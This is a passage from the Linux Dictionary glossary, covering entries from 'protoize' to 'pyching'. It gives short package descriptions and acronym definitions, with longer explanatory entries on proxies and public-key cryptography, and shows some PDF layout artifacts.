Create/remove ANSI prototypes from C code NOTE: This is not a final release, but taken from the CVS gcc-2_95-branch (dated 2001-10-02). 'protoize' can be used to add prototypes to a program, thus converting the program to ANSI C in one respect. The companion program 'unprotoize' does the reverse: it removes argument types from any prototypes that are found. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proxy

In communications, a proxy is something that acts as a server, but when given requests from clients, acts itself as a client to the real servers. Analogy: Consider talking to somebody who speaks a foreign language through a translator. You talk to the translator, who receives your statements, then regenerates something else completely to the other end. The translator serves as your proxy. Key point: The communication terminates at the proxy. In other words, the proxy doesn't forward data so much as it tears it completely apart. For example, an HTTP proxy doesn't forward every request sent through it. Instead, it first examines if it already has the requested web page in its cache. If so, then it returns that page without sending another request to the destination server. Because proxies completely terminate the communication channel, they are considered a more secure firewall technology than packet filters, because they dramatically increase the isolation between the networks. Key point: You will occasionally be scanned for proxies. ISPs scan their users for proxies. Hackers scan the Internet looking for proxies they can anonymize their connections with. Certain servers (like IRC servers) scan clients for proxies in order to prevent anonymous connections. Several websites maintain lists of such proxies. e.g. <http://proxys4all.cgi.net/> From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Proxy Server

A Proxy Server sits in between a Client and the "real" Server that a Client is trying to use. Client's are sometimes configured to use a Proxy Server, usually an HTTP server. The clients makes all of it's requests from the Proxy Server, which then makes requests from the "real" server and passes the result back to the Client. Sometimes the Proxy server will store the results and give a stored result instead of making a new one (to reduce use of a Network). Proxy servers are commonly established on Local Area Networks. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Proxy Servers

a type of firewall that allows indirect internet access. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Proxyfloppy

Proxyfloppy is a floppy disk that contains a bootable Linux system with 3 different types of web proxy and some added tools. The goal is to make it simple and safe for people with an always-on Internet connection to turn their desktop into a anonymous proxy server during the time that the computer would normally go unused. Version 1.1 was released on February 15, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proxymngr

proxy manager service From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proxymngr

X proxy services manager proxymngr is responsible for resolving requests from xfindproxy (in the xbase-clients package) and other similar clients, starting new proxies when appropriate, and keeping track of all the available proxy services. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prozgui

A FLTK-based GUI front end for prozilla prozgui is a graphical front end based on the Fast and Light Toolkit for prozilla. Prozilla is a download acellerator that opens multiple connections to get the file faster. Prozilla's features include proxy, redirection and ftpsearch support (the last one is still not supported by prozgui). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prozilla

Multi-threaded download accelerator Prozilla uses multiple connections to download the file faster. It breaks the files in pieces and downloads all them at once increasing the download speed. Its progress is displayed in an ncurses based UI. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSF

Python Software Foundation (org., Python) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psfaddtable

add a Unicode character table to a console font From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psfgettable

extract the embedded Unicode character table from a console font From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psfontmgr

PostScript font manager -- part of Defoma, Debian Font Manager. psfontmgr is part of Defoma distribution, and manages PostScript fonts through Defoma framework. It registers the name of available PostScript fonts to Defoma in postscript category, so applications which output a postscript file have all the available PostScript fonts in their font-choosing menus. It also provides a tool named defoma-psfont-installer, which registers PostScript fonts installed in a PostScript printer. This tool benefits those who want to print a PostScript file with the printer fonts and have the printer fonts appear in the font-choosing menu. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psfstrietable

remove the embedded Unicode character table from a console font From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psgml

An Emacs major mode for editing SGML documents. PSGML is a major mode for editing SGML documents. It contains a simple SGML parser and can work with any DTD. (The most popular nowadays are the HTML DTDs. This package turns your emacs into the one of most powerful HTML editors and will be ultimately flexible as well, since you could upgrade your editor by just installing new DTDs). Functions provided includes menus and commands for inserting tags with only the contextually valid tags, identification of structural errors, editing of attribute values in a separate window with information about types and defaults, and structure based editing. Since psgml parses the DTD to allow you to edit SGML documents, you do need to have the DTDs installed in order to use psgml. Since psgml installs itself as an HTML mode in Emacs, it depends on sgml-data. Some other packages which also provide SGML DTDs are suggested, like debiandoc-sgml and linuxdoc-sgml. SGML, a language for encoding the structure of a document, is an ISO standard: ISO 8879:1986 "Information processing - Text and office systems - Standard Generalized Markup Language (SGML)". Psgml is a standard package for XEmacs, and thus this package does not install itself for XEmacsen. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psgml

Emacs is an advanced and extensible editor. An Emacs major mode customizes Emacs for editing particular types of text documents. PSGML is a major mode for SGML (a markup language) documents. PSGML provides several functionalities for editing SGML documents: indentation according to element nesting depth and identification of structural errors (but it is not a validating SGML parser); menus and commands for inserting tags with only the contextually valid tags; editing attribute values in a separate window with information about types and defaults; structure based editing, including movement and killing; and also several commands for folding editing. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psh

interactive shell with the power of perl The Perl Shell is a shell that combines the interactive nature of a Unix shell with the power of Perl. The goal is to eventually have a full featured shell that behaves as

expected for normal shell activity. But, the Perl Shell will use Perl syntax and functionality for control– flow statements and other things. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

psi

jabber client using qt psi is a jabber client looking (by design) like licq. While this is a work in progress and by far not complete, it is already working nicely. For more information on jabber, see www.jabber.org (or the jabber package which contains the jabber server software). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSI

Performance Systems International, inc. From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSID

Presentation Space IDentifier (IBM) From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PsiLinux

PsiLinux is a project to port Linux to a group of palmtops produced by Psion, and related machines such as the Geofox One. At present, working Linux systems can be installed on any of the Series 5, Series 5MX, Series 5MX–Pro, Revo (Revo+, Mako), Series 7 and netBook machines.

Handhelds/PDA based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSIPU

PostScript – Intelligent Processing Unit (Canon, Adobe, CLC), "PS–IPU" From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSIU

Packet Switch Interface Unit From VERA

Phase Shift Keying (DFUe) From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

psk31lx

Soundcard–based ncurses program for operating PSK31 Psk31lx uses a soundcard to receive and transmit PSK31, an extremely narrow band HF–mode. PSK31 is a mode for keyboard QSO's. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSL

PD Service Lage (Haendler) From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSL

Public Software Library From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

pslatex

utility to typeset LaTeX files using PostScript fonts From whatis

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSM

Persistent Storage Manager (Maxtor) From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSM

Persistent Stored Modules (SQL) From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PSM

Personal Software Marketing (IBM) From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

psmisc

The psmisc package contains utilities for managing processes on your system: pstree, killall and fuser. The pstree command displays a tree structure of all of the running processes on your system. The killall command sends a specified signal (SIGTERM if nothing is specified) to processes identified by name. The fuser command identifies the PIDs of processes that are using specified files or filesystems. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psmisc

Utilities that use the proc filesystem This package contains three little utilities that use the proc FS: `fuser' identifies processes using files (similar to Sun's or SGI's fuser). `killall' kills processes by name, e.g. killall -HUP named. `pstree' shows the currently running processes as a tree From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSN

Packet / Public Switched Network From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSN

Packet Switch Node (ARPANET, MILNET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSOM

Persistency framework in SOMobjects (IBM, DSOM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSOS

Provably Secure Operating System (OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psp

Perl Server Pages – Web scripting environment runtime Perl Server Pages provides a versatile dynamic web scripting environment for Perl, featuring advanced input validation and data flow management. Support for mod_perl provided. Psp attempts to provide easy construction of large websites in Perl, much the same way that ASP and JSP provide this support for other languages. This package provides the runtime necessary to run website fragments (piles) that have already been parsed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSP

Personal Software Products (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSP

Program Segment Prefix (DOS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSP

ProjektStrukturPlan From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psp-parser

Perl Server Pages – Web scripting environment authoring tools Perl Server Pages provides a versatile dynamic web scripting environment for Perl, featuring advanced input validation and data flow management. Support for mod_perl provided. Psp attempts to provide easy construction of large websites in Perl, much the same way that ASP and JSP provide this support for other languages. This package provides piler, the tool to convert a set of PSP pages into a website fragment. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psp-samples

Perl Server Pages – compiled samples Perl Server Pages provides a versatile dynamic web scripting environment for Perl, featuring advanced input validation and data flow management. Support for mod_perl provided. Psp attempts to provide easy construction of large websites in Perl, much the same way that ASP and JSP provide this support for other languages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psp-samples-src

Linux Dictionary

Perl Server Pages – Sample source code Perl Server Pages provides a versatile dynamic web scripting environment for Perl, featuring advanced input validation and data flow management. Support for mod_perl provided. Psp attempts to provide easy construction of large websites in Perl, much the same way that ASP and JSP provide this support for other languages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSPDN

Packet Switched Public Data Network (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pspell

The Pspell library provides a generic interface to any spell checker libraries installed on the system. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pspell-config

Get information about a libpspell installation From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pspp

Statistical analysis tool PSPP is a replacement for SPSS, a powerful program for statistical analysis of sampled data. This is a test release of PSPP. Please use caution in interpreting results. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psptools

Tools for PostScript printers and devices The psptools suite comprise tools for manipulating PostScript (PS) files before sending them to a PostScript device. The available tools do use PostScript Printer Description (PPD) files to handle the features that are available on a given device (for example selecting a color model or the way two-sided pages are bound). The actual tools are psplpr, a printing/filtering tool that manipulates a PostScript document to control which features of a PS device will be used to print the document, and npslpr, a small command-line compatible replacement for pslpr which uses psplpr. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSR

Phase Shift Register (IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Program Support Representative From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSRG

Privacy and Security Research Group (IRTF) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSRO

Professional Standards Review Organization From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSS

Packet Switch Services / Stream From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSSF

Personal System Support Family (IBM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PST

Pacific Standard Time [-0800] (TZ, PDT, USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSTN

Public Switched Telephone Network (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pstngw

Linux Dictionary

H.323 to PSTN gateway Very simple PSTN (normal telephone) to H.323 gateway program using the OpenH323 library. It allows H.323 clients to make outgoing calls, and incoming calls to be routed to a specific H.323 client. It needs special hardware to do this. For more information on the OpenH323 project visit them at <http://www.openh323.org/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pstoedit

PostScript and PDF files to editable vector graphics converter. pstoedit converts Postscript and PDF files to various editable vector graphic formats including tgif, xfig, PDF graphics, gnuplot format, idraw, MetaPost, GNU Metafile, PIC, Kontour and flattened PostScript. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pstotext

Extract text from PostScript and PDF files. pstotext extracts text (in the ISO 8859-1 character set) from a PostScript or PDF (Portable Document Format) file. Thus, pstotext is similar to the ps2ascii program that comes with ghostscript. The output of pstotext is however better than that of ps2ascii, because pstotext deals better with punctuation and ligatures. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pstree

display a tree of processes From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pstruct

Dump C structures as generated from `*(C`cc -g -S*(C'` stabs From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSU

Portable Storage Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSU

Primary Sampling Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSU

Program Storage Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psutils

A collection of PostScript document handling utilities This collection of utilities is for manipulating PostScript documents. Page selection and rearrangement are supported, including arrangement into signatures for booklet printing, and page merging for n-up printing. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

psutils

psutils contains some utilities for manipulating PostScript documents. Page selections and rearrangement are supported, including arrangement into signatures for booklet printing, and page merging for n-up printing. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PSW

Program Status Word From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pswrap

creates C procedures from segments of PostScript language code From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PT

Payload Type (ATM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PTAL

Payment Transaction Application Layer (Internet, banking) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PTAT

Private Trans-Atlantic Telecommunications From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PTB

Linux Dictionary

- PTC** Physikalisch–Technische Bundesanstalt (org.) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTC** Pacific Telecommunications Council (org.) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTC** Parallel Test Component (ISO 9646–3, TTCN) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTD** Parallel Transfer Disk / Drive From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTE** Packet Transport Equipment From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTE** Path Terminating Equipment (SONET) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTERM** Physical TERMinal (IBM), "PTerm" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- ptex–base** basic ASCII pTeX library files ASCII pTeX is a Japanized TeX distribution. Together with ptex–bin you have a complete installation. Includes: platex From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- ptex–bin** ASCII pTeX binary files This is ASCII pTeX, a Japanized TeX distribution. These are all the binaries for the pTeX system. You need at least ptex–base together with it. Includes: platex From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- ptex–buildsupport** Support files for building ASCII pTeX This package actually contains a fragment of the latest teTeX source tarball(will be placed in /usr/src). Since ASCII pTeX is provided as a set of additional source files to teTeX source tree, you need to install this package when you build ptex–bin package. A little shell script to strip down big teTeX source tarball is also included. You don't need to install this package to have a running pTeX system. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- ptex–jisfonts** Provide an environment of jis.tfm and jisg.tfm for pTeX/dvips This includes TFM files and VF files for jis.tfm and jisg.tfm which might produce better output than ordinary/traditional min*.tfm and goth*.tfm would do. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTF** Program Temporary Fix (IBM) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTH** Plated–Through–Hole From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTI** Payload Type Identifier (ATM, PT) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>
- PTI** Polskie Towarzystwo Informatyczne (org., Poland) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

ptknettools

A selection of Internet service clients written in Perl/Tk This package contains a selection of TCP/IP Internet service clients written in Perl/Tk (for use under X). It including clients for Finger, Whois, Time, QOTD and NSLookup. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUB

Physical Unit Block From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Public Domain

Software that is available to be used and modified by anyone, for any purpose, and may even be incorporated for distribution in commercial software. Public domain software is not copyrighted, and no rights are retained by the author. (Also, see Open Source and Shareware.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

public key

A shared data file that is distributed to any interested recipient for the secure transmission of data. Used in conjunction with a private key to decrypt data. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Public Key Encryption

A method of data encryption that involves two separate keys: a public key and a private key. Data encrypted with the public key can be decrypted only with the private key and vice versa. Typically, the public key is published and can be used to encrypt data sent to the holder of the private key, and the private key is used to sign data. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

public-key (private-key, asymmetric cryptography)

Public-key cryptography uses two mathematically related keys, where a message encrypted by one key can only be decrypted by the other key. This is in stark contrast to traditional cryptography (now known as symmetric cryptography) where the same key was used for both encryption and decryption. The reason this is so important is because one of the two keys can be made public, hence the name "public-key cryptography". When this technique was discovered, it solved the biggest problem in cryptography at that time. In traditional symmetric cryptography, both the sender and receiver of a message had to agree upon the same key. Imagine your country has spies out in the field. If a spy gets captured, then the adversary could steal that key and decrypt messages. With asymmetric keys, however, the enemy can only steal the key the spy is using to encrypt messages, but cannot use that key to decrypt anything. The enemy may be able to forge messages, but the system wouldn't otherwise be compromised. Furthermore, the key could be extremely public: you could simply broadcast your public-key on the open airwaves for your spies to use. This is indeed what happens with SSL, the protocol you use to connect to e-commerce sites and pay for stuff with credit-cards. The public-key of the server is given out to everybody who connects to the site. However, each user encrypts his data using the public-key, which means nobody else can decrypt it without the secret private-key known only to the owners of the website. Example: Some uses of public-key encryption are: e-mail encryption Allows anybody to send an encrypted message to you that only you can read. The two most popular ways of doing this are PGP and S/MIME. digital signatures You can encrypt something with your private-key that can be decrypted by everyone (using your public-key). Therefore, if you encrypt a message, it proves it came from you, because only you know the private-key. Thus, you can digitally "sign" documents. President Clinton signed the "Electronic Signatures in Global and National Commerce Act" into law using a digital signature in this manner (using a smart-card with the password "Buddy"). Point: The public and private keys are mathematically related. In order to create them, you start with some randomly generated prime numbers. You then run these through some mathematical operations in order to generate the two keys. You publish one of the keys (making it "public") and you keep the other one private. Since the keys are rather large (hundreds of bytes), you generally store them in an encrypted file. Whenever you need to decrypt a message, you type in a password to decrypt the private-key, then use the private-key to decrypt the message. Key point: Protecting the "private key" from theft/disclosure is the most important thing any company can do. There exist private keys whose value lie in the range of hundreds of millions if not billions of dollars (such as the key Verisign uses to sign certificates). The private key is usually protected with strong encryption based upon a strong password. In paranoid cases, parts of the password are given to different people, so that more than one person must be

present in order to recover the private key for use (note: redundancy is also used, if the key is XYZ, then Alice knows XY, Bob knows YZ, and Charlene knows XZ, meaning that any two can unlock the private key). The paranoid things you see in movies about high-security installations apply: background checks on employees with access to the private key physical security consisting of photo IDs, searches, and strict entry/exit controls the two-person rule biometrics (retina/palm/finger/handwriting) additions to normal authentication physical keys Private-keys are frequently stored on separate objects. The most common is the floppy disk, which can be inserted into a server when booted, but removed to a safety deposit box. Other examples include crypto-cards. (Note: when you get a certificates from a CA, they usually require that the private-key never be stored on a computer). Servers that must use private keys must employ heavy countermeasures: intrusion detection systems firewalls (both packet filtering as well as more complex ones) frequent vulnerability assessments and auditing limited people who have access to the server full use of the security features of the server (i.e. turn on logging, enforce strong passwords, etc.) Example: Some public-key algorithms are: Diffie-Hellman The original one, though only designed for key-exchange. RSA The most popular algorithm. ElGamal Extends Diffie-Hellman algorithms to support the same features as RSA, such as encryption and digital-signatures. DSA Government standard for digital-signatures based upon ElGamal. Elliptic Curves Based upon a different mathematical problem from number theory and algebraic geometry. It results in smaller keys and faster operation, but is not as well analyzed as other systems. Other There are other systems based upon different hard-to-solve mathematical problems. Antonym: Sometimes the word "secret-key" is used as an antonym to "public-key" in order to highlight the fact that it is a shared-secret. Also, "symmetric" encryption is the antonym to "asymmetric". From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

public-key encryption

An encryption scheme, introduced by Diffie and Hellman in 1976, where each person gets a pair of keys, called the public key and the private key. Each person's public key is published while the private key is kept secret. Messages are encrypted using the intended recipient's public key and can only be decrypted using his private key. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUC

Peripheral Unit Controller From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUC

Public Utilities Commission From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUCP

Physical Unit Control Point (IBM, SNA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

puf

Parallel URL fetcher puf is a download tool for UNIX-like systems. You may use it to download single files or to mirror entire servers. It is similar to GNU wget (and has a partly compatible command line), but has the ability to do many downloads in parallel. This is very interesting, if you have a high-bandwidth internet connection. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUFFT

Purdue University Fast FORTRAN compiler (FORTRAN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUID

Physical Unit IDentifier (IBM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUK

Linux Dictionary

Personal / PIN Unblocking Key (PIN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUMA

Power User's Macintosh Association (org., Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUMA

Processor Upgradable Modular Architecture From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUMA

Programmable Universal Micro Accelerator From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pump

Simple DHCP/BOOTP client. This is the DHCP/BOOTP client written by RedHat. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUMS

Physical Unit Management Services From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PUP

PARC Universal packet Protocol From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pup

Printer Utility Program This is a GUI utility for maintaining your printer under Linux. For uni-directional mode it supports the Lexmark Optra Color 40 and 45, Lexmark Optra E310, HP 2100M, HP 4000, and HP LJ4 Plus. For bi-directional mode it supports any PJJ printer (or partially, depending on the printer). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

purity

Automated purity testing software. For many years now, the purity test, (in various forms) has been widely available on the net. This package provides an automated way of taking the test. Purity tests are an amusing way to see how much of a nerd or a hacker you are. More tests are available in the purity-off package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

purity-off

Sex related purity tests This package installs the sex related purity tests not included in the purity package. If you are offended by sex or by unusual sexual activities please do not install this package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PURL

Persistent Uniform Resource Locator (URL, WWW) From VERA

PVM

Parallel Virtual Machine (SMP, Cluster) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pvm

Parallel Virtual Machine – binaries and shared libraries Console and communication daemon binaries for the Parallel Virtual Machine. Should be sufficient to utilize a node in a dynamically linked PVM program such as pvmpov. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PVN

Private Virtual Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PVP

Packet Video Protocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PVPC

Permanent Virtual Path Connection (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PWB

Printer Wire Board From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PWB

Programmers Work Bench (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pwck

verify integrity of password files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pwconv

convert to and from shadow passwords and groups. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pwd

print name of current/working directory From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PWD

Print Working Directory (Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pwdb-conf

Configuration package for the libpwdb, the password database library. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pwgen

Automatic Password generation pwgen generates random, meaningless but pronounceable passwords. These passwords contain either only lowercase letters, or upper and lower case mixed, or digits thrown in. Uppercase letters and digits are placed in a way that eases remembering their position when memorizing only the word. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pwm

Lightweight window manager with frames PWM is a rather lightweight window manager for X11. It has the unique feature that multiple client windows can be attached to the same frame. This feature helps keeping windows, especially the numerous xterms, organized. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PWM

Pulse Width Modulation (DVD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PWN

Peacenet World News From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PWSCS

Programmable WorkStation Communication Services From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pwunconv

convert to and from shadow passwords and groups. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PWV

Pulse-Wave Velocity From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PXE

Preboot eXecution Environment (Intel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pxe

The pxe package contains the PXE (Preboot eXecution Environment) server and code needed for Linux to boot from a boot disk image on aLinux PXE server. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PXES Linux Thin Client

PXES will convert any complaint hardware into a versatile thin client capable of accessing any Microsoft Terminal Server through RDP protocol. (Future versions will include XDM, VNC and other protocols). This thin client boots from the network. Version 0.4 was released March 27, 2002. Version 0.5-final was released September 3, 2002. Version 0.5.1-41 was released May 15, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pxfonts

Palatino-likes fonts for TeX The PX fonts consist of: 1. virtual text roman fonts using Adobe Palatino (or URWPalladioL) with some modified and additional text symbols in the OT1, T1, and TS1 encoding 2. virtual text sans serif fonts using Adobe Helvetica (or URW NimbusSanL) with additional text symbols in OT1, T1, TS1, and LY1 encodings (Provided in the TX fonts distribution) 3. monospaced typewriter fonts in OT1, T1, TS1, and LY1 encodings (Provided in the TX fonts distribution) 4. math alphabets using Adobe Palatino (or URWPalladioL) with modified metrics 5. math fonts of all symbols corresponding to those of Computer Modern math fonts (CMSY, CMMI, CMEX, and Greek letters of CMR) 6. math fonts of all symbols corresponding to those of AMS fonts (MSAM and MSBM) 7. additional math fonts of various symbols From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PY

Linux Dictionary

Person Years From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pybliographer

A tool for manipulating bibliographic databases. It currently supports BibTeX, Medline, Ovid and Refer files. It is useful for viewing, editing and searching, but also to convert bibliographic databases into HTML pages for example. Home Page: <http://canvas.gnome.org:65348/pybliographer/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pychecker

Finds common bugs in python source code PyChecker is a tool for finding common bugs in python source code. It finds problems that are typically caught by a compiler for less dynamic languages, like C and C++. Because of the dynamic nature of python, some warnings may be incorrect; however, spurious warnings should be fairly infrequent. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pyching

